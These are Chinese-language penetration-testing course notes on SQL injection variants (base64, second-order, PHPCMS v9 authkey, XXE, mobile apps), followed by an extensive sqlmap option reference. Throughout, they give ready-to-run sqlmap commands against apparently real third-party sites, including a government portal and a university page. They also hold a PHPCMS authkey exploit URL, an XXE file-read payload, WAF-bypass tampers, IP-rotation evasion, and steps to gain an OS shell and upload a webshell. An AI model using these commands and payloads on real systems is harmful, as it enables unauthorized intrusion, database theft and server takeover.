14.sqlmap其他注入
PART 4: BASE64编码注入漏洞
解码
构造语句
编码
$id=base64_decode($id);
如何区分ase64类型
http://fanghan.com/index.php?id=MQ== //这一类就是base64,需要解码才可以
例如宜昌市人民政府的base64
http://lm.yichang.gov.cn/index.php?bT1jYXNlJmM9c2hvdyZpZD0yNzE3ODcmdD0z //base64编码
http://lm.yichang.gov.cn/index.php?m=case&c=show&id=271787&t=3 //base64解码后
base64探测方法
http://lm.yichang.gov.cn/index.php?m=case&c=show&id=271787&t=3/ //我们要加/探测,就需要再次编码
http://lm.yichang.gov.cn/index.php?bT1jYXNlJmM9c2hvdyZpZD0yNzE3ODcmdD0zLw== //加/编码后
工具跑的话一定要加码后再跑:
sqlmap -u ''http://lm.yichang.gov.cn/index.php?m=case&c=show&id=271787&t=3'' --tamper base64encode.py –dbs //解密后再用sqlmp跑
//一定要把参数解完在放
PART 5: 二阶注入漏洞 (具体看ppt白盒比较好)
SQL注入一般可分为两种,一阶注入(普通的SQL注入)和二阶SQL注入。一阶SQL注入发生在一个HTTP请求和响应中,系统对攻击输入立即反应执行。
一阶注入的攻击过程归纳如下:
1 攻击者在HTTP请求中提交恶意sql语句。
2 应用处理恶意输入,使用恶意输入动态构建SQL语句。
3 如果攻击实现,在响应中向攻击者返回结构。
也就是说,正常的注入会回显到当前页面,二阶注入并不会回显当当前页面,可能回显到其他页面了
a页面注入没结果,在b页面加载,c页面加载产生了注入
例如某其实找平网站:
1.注册账号
2登录,填写简历
3.填写简历的时候,这些地方很可能存在存储型xss和post注入
4.闭合的那条语句要在调用的页面去构造的。重点 //其实看不到源代码的确不好挖
5.完成后,去个人简历哪里就会看到爆出来的
工具跑二阶注入
--second-order后门跟一个判断页面的URL地址. //这里的URL地址是二阶显示的url地址
PART 6: PHPV9 authkey 注入漏洞
phpv9 authkey注入
利用exp爆出authkey
phpsso_server/index.php?m=phpsso&c=index&a=getapplist&auth_data=v=1&appid=1&data=662dCAZSAwgFUlUJBAxbVQJXVghTWVQHVFMEV1MRX11cBFMKBFMGHkUROlhBTVFuW1FJBAUVBwIXRlgeERUHQVlIUVJAA0lRXABSQEwNXAhZVl5V
然后本地构造注入页面进行注入
探测方法:把上面这一串测试的放到phpv9的站点路径后面,如果爆出authkey
注意事项:必须要同源策略。域名端口ip必须一致,爆出来才能注入
利用方法:
1.打开工具包漏洞利用里“phpv9authkey”
2.把目标页爆出来的authkey值与自己页面的authkey值替换,Ip也一替换
3.保存都本地的环境
4.打开127.0.0.1/文件名称.php?id=1 //拿这个注入进行本地注入
5.类似于authkey的中转认证注入
6.在使用sqlmap去跑,
PART 7: XML 注入漏洞 //也叫xxe注入
xml
可扩展标记语言,标准通用标记语言的子集,是一种用于标记电子文件使其具有结构性的标记语言。
在电子计算机中,标记指计算机所能理解的信息符号,通过此种标记,计算机之间可以处理包含各种的信息比如文章等。它可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。 它非常适合万维网传输,提供统一的方法来描述和交换独立于应用程序或供应商的结构化数据。是Internet环境中跨平台的、依赖于内容的技术,也是当今处理分布式结构信息的有效工具。早在1998年,W3C就发布了XML1.0规范,使用它来简化Internet的文档信息传输。
简介:
xml用来数据转存和数据传输,等于代码之间的注入,不是sql注入
文件转存注入:
在你注册的时候把你的账号密码,进行转存到xml文件中
如果在密码那里闭合,就会创建出一个普通用户和一个管理员用户
闭合要闭合整段闭合语句 //这时候数据库会出现注册了两个账号
任意文件读取:
1后台登陆,必须登陆正确用户名
2抓包,发送到重置器
3在用户名密码的上方加入以下代码 //调用位置
<!DOCTYPE d[
<!ENTITY xxe SYSTEM
''file:///c://windows/win.ini''>
]>
4然后在用户名哪里改成&xxe; //输出位置
5发送 //就会读取服务器里xxe文件
PART 8: APP 注入漏洞挖掘
app注入挖掘
利用抓包工具获取app发送到服务器的链接
burp fiddler即可
得到链接进行测试
app漏洞主要挖掘:
文件泄露
sql注入
xss
上传
逻辑漏洞
逻辑支付
密码找回
sql注入
1.首先手机抓包,设置代理,保证手机和电脑在同一网段
2.然后发送包,每个点去测试
3.或者发送给burp去扫描漏洞
4.sqlmap跑要加个参数--mobile
sqlmap使用
安装就正常安装调用的话就:
1.桌面建立快捷方式,对象输入cmd.exe
2.起个名字:sqlmap //完成
3.点击图标,右击属性,其实位置:c:\Python27\sqlmap
4.打开进入目录
1.SQLMAP介绍与常规操作
2.SQLMAP基本参数
3.SQLMAP获取目标
4.SQLMAP常用操作
基本参数
Sqlmap.py -h 查看帮助选项
is-dba 当前用户权限
dbs 所有数据库
current-db 网站当前数据库
users 所有数据库用户
current-user 当前数据库用户
tables 参数:列表名
columns 参数:列字段
dump 参数:下载数据
--dump 获取表中的数据,包含列
--dump-all 转存DBMS数据库所有表项目
--level 测试等级(1-5),默认为1
读取数据库--->读取表---->读取表的列---->获取内容
-D 指定数据库
-T 指定表
-C 指定列
--dbms=mysql oracle mssql 指定数据库
--users 枚举所有用户
--passwords 枚举所有用户密码
--roles 列出数据库管理员角色
--privileges 列出数据库管理员权限
列举数据库系统的架构
sqlmap.py -u "http://xx.com/int.php?id=1" --schema --batch --exclude-sysdbs
探测等级
参数:--level
共有五个等级,默认为1,sqlmap使用的payload可以在xml/payloads.xml中看到,你也可以根据相应的格式添加自己的payload。
这个参数不仅影响使用哪些payload同时也会影响测试的注入点,GET和POST的数据都会测试,HTTP Cookie在level为2的时候就会测试,HTTP User-Agent/Referer头在level为3的时候就会测试。
总之在你不确定哪个payload或者参数为注入点的时候,为了保证全面性,建议使用高的level值。
//可以到C:\Python27\sqlmap\data\xml\payloads 里去打开xml文件去看看
实战中会遇到的问题:
探测出存在注入的时候默认级别为1.只能探测get和post注入,如果测cookie的话就得把级别调整成2.http请求头得把级别调成3.
显示调试信息
-v 显示调试信息 有7个级别
0、只显示python错误以及严重的信息。
1、同时显示基本信息和警告信息。(默认)
2、同时显示debug信息。
3、同时显示注入的payload。
4、同时显示HTTP请求。
5、同时显示HTTP响应头。
6、同时显示HTTP响应页面。
风险等级
参数:--risk
共有四个风险等级,默认是1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加OR语句的SQL注入测试。
在有些时候,例如在UPDATE的语句中,注入一个OR的测试语句,可能导致更新的整个表,可能造成很大的风险。
测试的语句同样可以在xml/payloads.xml中找到,你也可以自行添加payload。
一般测:
sqlmap.py -u http://xx.com/int.php?id=1 current-db --level 3 --risk 3 //这个级别一般可以测出注入
获取目标
参数:-u或者--url
格式:http(s)://targeturl[:port]/[…]
例如:python sqlmap.py -u http://www.target.com/vuln.php?id=1
参数:-u或者--url
格式:http(s)://targeturl[:port]/[…]
例如:python sqlmap.py -u "http://www.target.com/vuln.php?id=1"
从文本中获取多个目标扫描 //一般搭配傀儡使用
原理:傀儡去抓取url保存在一个文件夹里,sqlmap去读取文件夹里的再去检测
参数:-m
文件中保存url格式如下,sqlmap会一个一个检测
www.target1.com/vuln1.php?q=foobar
www.target2.com/vuln2.asp?id=1
www.target3.com/vuln3/id/1*
格式:
sqlmap.py -m c:\x.txt --batch --smart --level 3 --risk 3 --random-agent --tamper=space2ment.py
读取x.txt 自动回车,智能探测,探测等级3 风险等级3 自动生成访问来源避免waf 加入常用插件
参数:-r
sqlmap可以从一个文本文件中获取HTTP请求,这样就可以跳过设置一些其他参数(比如cookie,POST数据,等等)。
比如文本文件内如下:
POST /vuln.php HTTP/1.1
Host: www.target.com
User-Agent: Mozilla/4.0
id=1
格式:
sqlmap.py -r c:\\1.txt //默认级别为1 只有post和get注入,不会跑出cookie,请求头保存在1.txt
处理Google搜索结果
参数:-g
sqlmap可以测试注入Google的搜索结果中的GET参数(只获取前100个结果)。
例子:
python sqlmap.py -g "inurl:php?id="
--data
此参数是把数据以POST方式提交,sqlmap会像检测GET参数一样检测POST的参数。
例子:
python sqlmap.py -u “http://www.cracer.com/cracer.php” --data=“id=1”
--param-del //重要
参数拆分字符
当GET或POST的数据需要用其他字符分割测试参数的时候需要用到此参数。
链接的分割符,不同。
例子:
python sqlmap.py -u "http://www.cracer.com/vuln.php" --data="query=foobar;d=1" --param-del=";"
--cookie
适用于cookie注入
将参加加入cookie注入测试
sqlmap -u "http://www.ntjx.org/jsj/DownloadShow.asp" --cookie "id=9" --table --level 2
--referer,--headers,--proxy
//在请求头注入里居多
--referer
sqlmap可以在请求中伪造HTTP中的referer,当--level参数设定为3或者3以上的时候会尝试对referer注入。
--headers
可以通过--headers参数来增加额外的http头
--hearders “client-ip: 1.1.1.1'”
--proxy
使用--proxy代理是格式为:http://url:port。
--proxy=http://127.0.0.1:1080
--proxy-file c:/1.txt
//遇见封锁Ip的
--proxy=http://127.0.0.1:1080 //不可取
--proxy-file=c:/ips.txt
或者
--tor--proxy-type="socks5" //工具包,常用文件:baypass WAF--Auto_TOP_ipXXXX,国外自动切换ip插件
时间控制
--delay
可以设定两个HTTP(S)请求间的延迟,设定为0.5的时候是半秒,默认是没有延迟的。
--timeout
可以设定一个HTTP(S)请求超过多久判定为超时,10.5表示10.5秒,默认是30秒。
设定重试超时
--retries
当HTTP(S)超时时,可以设定重新尝试连接次数,默认是3次。
设定随机改变的参数值
//访问的请求慢一点,sqlmap飘红就带表超时不响应了
--safe-url,--safe-freq
有的web应用程序会在你多次访问错误的请求时屏蔽掉你以后的所有请求,这样在sqlmap进行探测或者注入的时候可能造成错误请求而触发这个策略,导致以后无法进行。
绕过这个策略有两种方式:
1、--safe-url:提供一个安全不错误的连接,每隔一段时间都会去访问一下。
2、--safe-freq:提供一个安全不错误的连接,每次测试请求之后都会再访问一边安全连接。
-p
sqlmap默认测试所有的GET和POST参数,当--level的值大于等于2的时候也会测试HTTP Cookie头的值,当大于等于3的时候也会测试User-Agent和HTTP Referer头的值。但是你可以手动用-p
参数设置想要测试的参数。例如: -p "id,user-anget"
--prefix,--suffix
有些环境中,需要在注入的payload的前面或者后面加一些字符,来保证payload的正常执行。
例如,代码中是这样调用数据库的:
$query = "SELECT * FROM users WHERE id=(’" . $_GET[’id’] . "’) LIMIT 0, 1";
这时你就需要--prefix和--suffix参数了:
python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1" -p id --prefix "’)" --suffix "AND (’abc’=’abc"
这样执行的SQL语句变成:
$query = "SELECT * FROM users WHERE id=(’1’) <PAYLOAD> AND (’abc’=’abc’) LIMIT 0, 1";
--technique
这个参数可以指定sqlmap使用的探测技术,默认情况下会测试所有的方式。
支持的探测方式如下:
B: Boolean-based blind SQL injection(布尔型注入)
E: Error-based SQL injection(报错型注入)
U: UNION query SQL injection(可联合查询注入)
S: Stacked queries SQL injection(可多语句查询注入)
T: Time-based blind SQL injection(基于时间延迟注入)
如果只测联合查询和显错应该这样写:
xxxxid=1 --tech=EU
--union-cols
默认情况下sqlmap测试UNION查询注入会测试1-10个字段数,当--level为5的时候他会增加测试到50个字段数。设定--union-cols的值应该是一段整数,如:12-16,是测试12-16个字段数。
--union-char
默认情况下sqlmap针对UNION查询的注入会使用NULL字符,但是有些情况下会造成页面返回失败,而一个随机整数是成功的,这是你可以用--union-char只定UNION查询的字符。
二阶SQL注入
--second-order
有些时候注入点输入的数据看返回结果的时候并不是当前的页面,而是另外的一个页面,这时候就需要你指定到哪个页面获取响应判断真假。--second-order后门跟一个判断页面的URL地址.
格式:
sqlmap.py -u ''http://www.baidu.com/x.php?id=1'' --second-order''http://www.baidu.com/y.php'' //指定页面和响应页面
--search,-C,-T,-D
--search可以用来寻找特定的数据库名,所有数据库中的特定表名,所有数据库表中的特定字段。
可以在一下三种情况下使用: 重要
-C后跟着用逗号分割的列名,将会在所有数据库表中搜索指定的列名。
-T后跟着用逗号分割的表名,将会在所有数据库中搜索指定的表名
-D后跟着用逗号分割的库名,将会在所有数据库中搜索指定的库名。
例如:
sqlmap.py -u ''http://www.baidu.com/x.php?id=1'' -D xycms --tables //假设库下很多的表
sqlmap.py -u ''http://www.baidu.com/x.php?id=1'' -D xycms --search -C pwd //列有pwd 1模糊匹配,2完整匹配,回车默认
--udf-inject,--shared-lib 提权再讲
你可以通过编译MySQL注入你自定义的函数(UDFs)或PostgreSQL在windows中共享库,DLL,或者Linux/Unix中共享对象,sqlmap将会问你一些问题,上传到服务器数据库自定义函数,然后
根据你的选择执行他们,当你注入完成后,sqlmap将会移除它们。
-s,-t
参数:-s
sqlmap对每一个目标都会在output路径下自动生成一个SQLite文件,如果用户想指定读取的文件路径,就可以用这个参数。
保存HTTP(S)日志
参数:-t
这个参数需要跟一个文本文件,sqlmap会把HTTP(S)请求与响应的日志保存到那里。
--batch
--batch
用此参数,不需要用户输入,将会使用sqlmap提示的默认值一直运行下去。
强制使用字符编码
--charset
不使用sqlmap自动识别的(如HTTP头中的Content-Type)字符编码,强制指定字符编码如:
--charset=GBK
--flush-session
--flush-session
如果不想用之前缓存这个目标的session文件,可以使用这个参数。 会清空之前的session,重新测试该目标。
自动获取form表单测试
--hex
有时候字符编码的问题,可能导致数据丢失,可以使用hex函数来避免:
例子:
sqlmap.py -u "http://192.168.48.130/sqlmap/pgsql/get_int.php?id=1" --banner --hex -v 3 --parse-errors
--output-dir
--output-dir
sqlmap默认把session文件跟结果文件保存在output文件夹下,用此参数可自定义输出路径 例如:--output-dir=/tmp
从响应中获取DBMS的错误信息
参数:--parse-errors
有时目标没有关闭DBMS的报错,当数据库语句错误时,会输出错误语句,用词参数可以会显出错误信息。
--smart,--mobile
--smart
有时对目标非常多的URL进行测试,为节省时间,只对能够快速判断为注入的报错点进行注入,可以使用此参数。
例子:
$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?ca=17&user=foo&id=1" --batch --smart
--mobile
有时服务端只接收移动端的访问,此时可以设定一个手机的User-Agent来模仿手机登陆。
例如:
$ python sqlmap.py -u "http://www.target.com/vuln.php?id=1" --mobile
--identify-waf,--check-waf
--identify-waf
sqlmap可以尝试找出WAF/IPS/IDS保护,方便用户做出绕过方式。目前大约支持30种产品的识别。
--check-waf
WAF/IPS/IDS保护可能会对sqlmap造成很大的困扰,如果怀疑目标有此防护的话,可以使用此参数来测试。 sqlmap将会使用一个不存在的参数来注入测试
例如对一个受到ModSecurity WAF保护的MySQL例子:
$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?id=1" --identify-waf -v 3
注册表操作
当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前web应用支持堆查询。 当然,当前连接数据库的用户也需要有权限操作注册表。
读取注册表值
参数:--reg-read
写入注册表值
参数:--reg-add
删除注册表值
参数:--reg-del
注册表辅助选项
参数:--reg-key,--reg-value,--reg-data,--reg-type
需要配合之前三个参数使用,例子:
$ python sqlmap.py -u http://192.168.136.129/sqlmap/pgsql/get_int.aspx?id=1 --reg-add --reg-key="HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap" --reg-value=Test --reg-
type=REG_SZ --reg-data=1
暴力破解表名
参数:--common-tables
当使用--tables无法获取到数据库的表时,可以使用此参数。
通常是如下情况:
1、MySQL数据库版本小于5.0,没有information_schema表。
2、数据库是Microssoft Access,系统表MSysObjects是不可读的(默认)。
3、当前用户没有权限读取系统中保存数据结构的表的权限。
暴力破解的表在txt/common-tables.txt文件中,你可以自己添加。
Xx --common-tables -D testdb
暴力破解列名
参数:--common-columns
与暴力破解表名一样,暴力跑的列名在txt/common-columns.txt中。
Xx --common-columns -T text -D testdb
POST登录框注入 //重点
注入点:http://testasp.vulnweb.com/Login.asp
几种注入方式:./sqlmap.py -r search-test.txt -p tfUPass
sqlmap -u http://testasp.vulnweb.com/Login.asp --forms
sqlmap -u http://testasp.vulnweb.com/Login.asp --data "tfUName=1&tfUPass=1"
搜索框注入
sqlmap.py -r search-test.txt
伪静态注入
注入点:http://sfl.fzu.edu.cn/index.php/Index/view/id/40.html
sqlmap -u http://sfl.fzu.edu.cn/index.php/Index/view/id/40*.htm
base64编码注入
sqlmap -u http://ha.cker.in/index.php?tel=LTEnIG9yICc4OCc9Jzg5 --tamper base64encode.py –dbs
http://lm.yichang.gov.cn/
请求时间延迟
参数:--time-sec
当使用继续时间的盲注时,时刻使用--time-sec参数设定延时时间,默认是5秒
时间短会误报和自身网络有关
执行sql语句
--sql-query="select @@version"
--sql-shell
sqlmap会自动检测确定使用哪种SQL注入技术,如何插入检索语句。
如果是SELECT查询语句,sqlap将会输出结果。如果是通过SQL注入执行其他语句,需要测试是否支持多语句执行SQL语句。
例如: 读取的是sql的内容
sqlmap.py -u "http://192.168.2.3:81/about/show.php?id=1 --sql-shell
sql-shell> selet load_file('c:/inetpub/wwwroot/8006/index.php') //load_file是可以读取内容的,读取的是sql的内容
os-shell 执行系统命令
参数:--os-cmd,--os-shell
当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数。
在MySQL、PostgreSQL,sqlmap上传一个二进制库,包含用户自定义的函数,sys_exec()和sys_eval()。
cmd 执行cmd命令(win)
shell 执行当前用户命令
--os-shell
自动上传 脚本文件
返回shell
sqlmap.py -u "http://192.168.2.3:81/about/show.php?id=1 --os-shell
会让你指定网站根目录的上传文件,默认为php 回车即可
4个选项指定路径;
1.默认自带网站路径
2.自定义
3.加载字典
4.暴力搜索
选择2,他会自动上传一个木马进去,在sqlmap里找到路径复制拿到浏览器打开。
木马是个上传文件,然后自己上传php的马
文件上传
参数:--file-write,--file-dest
当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数。上传的文件可以是文本也可以是二进制文件。
sqlmap.py -u "http://192.168.2.129/article.php?id=5" --file-write="C:\1.php" --file-dest="/var/www/html/x.php"
文件读写
从数据库服务器中读取文件
参数:--file-read
当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数。读取的文件可以是文本也可以是二进制文件。
从数据库服务器中读取文件
参数:--file-read
当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数。读取的文件可以是文本也可以是二进制文件。
sqlmap.py -u "http://192.168.2.3:81/about/show.php
?lang=cn&id=22" --file-read="C:\Inetpub\wwwroot\mysql-php\1.php" //文件已下载到本地了
WAF绕过注入 调用下面编码
注入点:http://192.168.159.1/news.php?id=1
sqlmap -u http://192.168.159.1/news.php?id=1 -v 3 --dbs --batch --tamper "space2morehash.py"
space2hash.py base64encode.py charencode.py